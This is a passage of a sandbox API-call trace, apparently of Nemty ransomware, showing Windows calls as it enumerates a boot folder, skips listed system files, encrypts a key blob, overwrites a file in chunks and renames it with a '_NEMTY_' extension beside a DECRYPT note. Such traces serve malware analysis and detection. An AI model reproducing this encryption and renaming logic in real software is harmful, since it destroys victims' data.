nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0045.247] CloseHandle (hObject=0x3c0) returned 1 [0045.247] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0045.247] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0045.247] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xceaaa070, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xceaaa070, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0045.247] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0045.247] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xceaaa070, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xceaaa070, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.247] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0045.247] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0045.247] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0045.247] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0045.247] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0045.247] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0045.247] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0045.247] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0045.247] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0045.247] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0045.247] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0045.247] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0045.247] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0045.247] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0045.247] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0045.248] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0045.248] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0045.248] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0045.248] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0045.248] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0045.248] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0045.248] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0045.248] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0045.248] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0045.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0045.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0045.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.248] Sleep (dwMilliseconds=0x5) [0045.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcead01d0, dwHighDateTime=0x1d561e7)) [0045.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcead01d0, dwHighDateTime=0x1d561e7)) [0045.253] GetLastError () returned 0xb7 [0045.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0045.253] GetLastError () returned 0xb7 [0045.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.254] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0045.254] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0045.254] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0045.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0045.254] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="xWNHd/2om7jaFJO9q+r6bTCTvH7lUBd9eRrBuM/j3SZ4iDnlMnGhc3ky8buIkRHP\r\n5mSN572kGyX0KRXjM+oSn7CRflkUVwayLYEWCj+xh+NQPSpE68n6byDhamLb80nN\r\nYjQRYFEKCPGwldN0xfRU7A4AUkABb3L6QGaMqRLlDhh2TXrVfVsSDQHbQ9/1cSNR\r\nXzJGVqgPhT3A97xyKxvM5iaD/IS3bDZU9uMy1tYQVlU3OqXxe6jx8MphbDprLNj/\r\nZctkTImMfSqFdz5/QzThoiXUISAIzvqM4gPyCSb1BoXx3Ph8NeyLKVIG8XujIEgF\r\nFpGddybtCVL27wjIZqcBrg==\r\n", pcchString=0x653f2dc) returned 1 [0045.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0045.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0045.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0045.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0045.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0045.254] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0045.255] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0045.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0045.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.255] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.264] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.264] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.274] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.274] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.283] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.283] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.292] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.293] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.302] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.302] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.311] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.311] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.321] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.321] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.330] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.330] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.340] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.340] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.349] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.349] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.356] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.356] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.362] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.362] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0045.362] CloseHandle (hObject=0xffffffff) returned 0 [0045.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0045.362] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0045.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.362] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0045.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0045.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0045.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0045.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0045.363] MoveFileW (lpExistingFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0045.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0045.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0045.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0045.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0045.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.363] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceaaa070, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xceaaa070, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xceaaa070, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0045.363] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0045.363] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0045.363] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0045.363] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0045.363] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0045.363] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0045.363] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0045.363] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0045.363] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0045.363] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0045.363] 